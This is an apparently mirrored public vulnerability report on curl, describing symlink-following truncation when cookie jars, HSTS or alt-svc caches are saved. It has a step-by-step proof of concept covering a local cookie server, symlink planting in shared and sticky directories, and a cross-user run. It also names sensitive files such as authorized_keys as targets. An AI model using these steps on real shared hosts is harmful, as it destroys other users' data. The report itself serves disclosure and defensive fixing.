HexBrain

curl · Report #4125257

Symlink-following truncation of arbitrary files in `Curl_fopen()` when saving cookie jars, HSTS, or alt-svc caches

N/Astatus
lowseverity
2upvotes
20 Oct 2026disclosed

How it was found

Affected Component

  • lib/curl_fopen.c, Curl_fopen(), line 98: curlx_fopen(filename, FOPEN_WRITETEXT)
  • Callers: lib/cookie.c:1543 (cookie jar save), lib/hsts.c:390 (HSTS save), lib/altsvc.c:415 (alt-svc save)
  • CLI entry points: -c / --cookie-jar (src/config2setopts.c:575), --hsts FILE (:714), --alt-svc FILE (:711)

Summary

When curl saves a cookie jar (-c / --cookie-jar), an HSTS cache, or an alt-svc cache, Curl_fopen() first opens the destination path with mode "w" (lib/curl_fopen.c:98) so it can inspect the file. That call follows symbolic links and truncates the resolved file before any new data is written.

If an attacker can create a symlink at the cookie-jar path, for example in a shared /tmp directory or a shared CI workspace, the victim's curl truncates whatever file the symlink points to, provided the victim can write it. The attacker gains no read access and no code execution. The impact is destruction of the victim's file contents.

The -J (Content-Disposition) path already uses O_CREAT | O_EXCL to avoid this class of problem, so protection is inconsistent across the codebase.

Prerequisites

  • The attacker can create a directory entry in a directory the victim uses for the cookie-jar path (for example, a sticky /tmp, or a shared writable workspace).
  • The victim runs curl with -c / --cookie-jar, or --hsts / --alt-svc, using that path.
  • The target file is writable by the victim's user.
  • fs.protected_symlinks=1 may block cross-owner symlink following in sticky directories on hardened hosts. This mitigates the sticky-directory case. It does not stop the attack from a non-sticky writable directory, where the attacker can already modify files.

Steps to Reproduce

Tested on Ubuntu 24.04, GCC 13.3, CMake 3.28.3, OpenSSL 3.0.13.

1. Build curl from the source snapshot

cd curl-master
cmake -S . -B build -DCMAKE_BUILD_TYPE=Release \
  -DBUILD_TESTING=OFF -DBUILD_LIBCURL_DOCS=OFF -DBUILD_MISC_DOCS=OFF \
  -DENABLE_CURL_MANUAL=OFF -DCURL_USE_LIBPSL=OFF -DUSE_LIBIDN2=OFF \
  -DCURL_USE_LIBSSH2=OFF -DCURL_ZSTD=OFF -DCURL_BROTLI=OFF \
  -DUSE_NGHTTP2=OFF -DCURL_USE_LIBSSH=OFF -DENABLE_UNIX_SOCKETS=OFF \
  -DCURL_DISABLE_LDAP=ON -DCURL_USE_OPENSSL=ON
cmake --build build --target curl -j"$(nproc)"
./build/src/curl --version      # expect: curl 8.23.1-DEV

2. Start a local server that sets a cookie

Save as server.py:

import http.server, socketserver

class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Set-Cookie", "session=abc123; Path=/")
        self.send_header("Content-Length", "2")
        self.end_headers()
        self.wfile.write(b"ok")
    def log_message(self, *a):
        pass

socketserver.TCPServer.allow_reuse_address = True
with socketserver.TCPServer(("127.0.0.1", 8765), H) as s:
    s.serve_forever()
python3 -I server.py &

3. Create the victim file and the planted symlink

mkdir -p poc/victim poc/shared
printf 'IMPORTANT VICTIM DATA line 1\nIMPORTANT VICTIM DATA line 2\n' > poc/victim/secret.txt
ln -s "$PWD/poc/victim/secret.txt" poc/shared/cookies.txt
wc -c poc/victim/secret.txt     # 58 bytes before

4. Run curl with the cookie jar pointed at the symlink

./build/src/curl -s -c poc/shared/cookies.txt http://127.0.0.1:8765/ -o /dev/null
echo "exit=$?"

5. Observe

wc -c poc/victim/secret.txt     # 0 bytes after
ls -l poc/shared/cookies.txt    # now a regular file containing the cookie (non-sticky dir)
tail -1 poc/shared/cookies.txt  # 127.0.0.1  FALSE  /  FALSE  0  session  abc123

Observed: the victim file went from 58 bytes to 0 bytes, and the symlink was replaced by the cookie jar.

6. Cross-user variant (realistic threat model)

Requires root to set up. The attacker plants the link in a sticky shared directory; an unprivileged user runs curl:

mkdir -p poc2/shared poc2/victim
chmod 1777 poc2/shared
printf 'VICTIM DATA\n' > poc2/victim/secret.txt
chown -R 65534:65534 poc2/victim
ln -s "$PWD/poc2/victim/secret.txt" poc2/shared/cookies.txt     # created by root

# the unprivileged user must be able to traverse the path and execute the binary
setpriv --reuid=65534 --regid=65534 --clear-groups \
  env -i HOME=/nonexistent ./build/src/curl -s -c poc2/shared/cookies.txt \
  http://127.0.0.1:8765/ -o /dev/null
echo "exit=$?"                  # observed: 0
wc -c poc2/victim/secret.txt    # observed: 0 bytes
ls -l poc2/shared/              # symlink still present; cookie write was dropped

Observed: the uid-65534 process truncated a file it owns through a symlink planted by a different user. The cookie jar was not written, and curl still exited 0.

7. Optional: permission inheritance

Run step 6 against a non-sticky shared directory, with the target at 0666:

chmod 0666 poc3/victim/target.txt
# run the curl command from step 6 against a non-sticky directory, then:
stat -c '%A %U %n' poc3/shared/cookies.txt      # expected: -rw-rw-rw- (inherited from target)

This step is derived from the code and is not yet captured for 0666.

Expected Result

curl should refuse to write through a symlink at the cookie-jar path, or write only after confirming the destination is a regular file it may replace. It should never truncate a file it does not replace. The -J path behaves this way: O_CREAT | O_EXCL cannot follow an existing symlink.

Actual Result

The destination is opened with "w" and truncated before any temp-file logic runs. The symlink target is truncated to zero bytes, and in the sticky-directory case curl exits 0 with no cookie jar written.


Root Cause

lib/curl_fopen.c:97-106:

#ifndef _WIN32
  *fh = curlx_fopen(filename, FOPEN_WRITETEXT);   /* "w": O_TRUNC, follows symlinks */
  if(!*fh)
    goto fail;
  if(curlx_fstat(fileno(*fh), &sb) == -1 || !S_ISREG(sb.st_mode)) {
    return CURLE_OK;
  }
  curlx_fclose(*fh);
#endif /* !_WIN32 */
  *fh = NULL;

The function needs only sb (file type and mode) from the existing file. It gets that by opening the file for writing, which has the side effect of truncation. The later fchmod() and temp-file creation do not depend on truncation.

Impact

  1. Data destruction (primary). Any regular file the victim's curl process can write is truncated to zero bytes. Realistic targets include project configuration files, shell startup files (~/.bashrc), SSH authorized_keys, and CI build inputs. This is an integrity and availability impact.
  2. Silent loss of the cookie jar. In a sticky directory such as /tmp, the final rename() over the attacker-owned symlink is expected to fail with EPERM. The code then unlinks the temp file and discards the cookies. In testing, curl still exited 0, so a script sees no error. (The EPERM is inferred from the code path; the observable result was the missing jar and exit 0.)
  3. Permission inheritance from the symlink target. When the rename succeeds (non-sticky directory), the temp file is fchmoded to the mode of the file that was truncated. The temp file is created as 0600, but in testing the new jar came out 0644, matching the target. If the target is world-writable, the cookie jar becomes world-writable, letting other local users inject cookies into the victim's future sessions. (Observed 0644 in the root test; the 0666 case is derived from the code and not separately captured.)
  4. Exposure in shared environments. CI and build scripts commonly use fixed paths such as /tmp/cookies.txt. Any local user can plant the link in advance.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original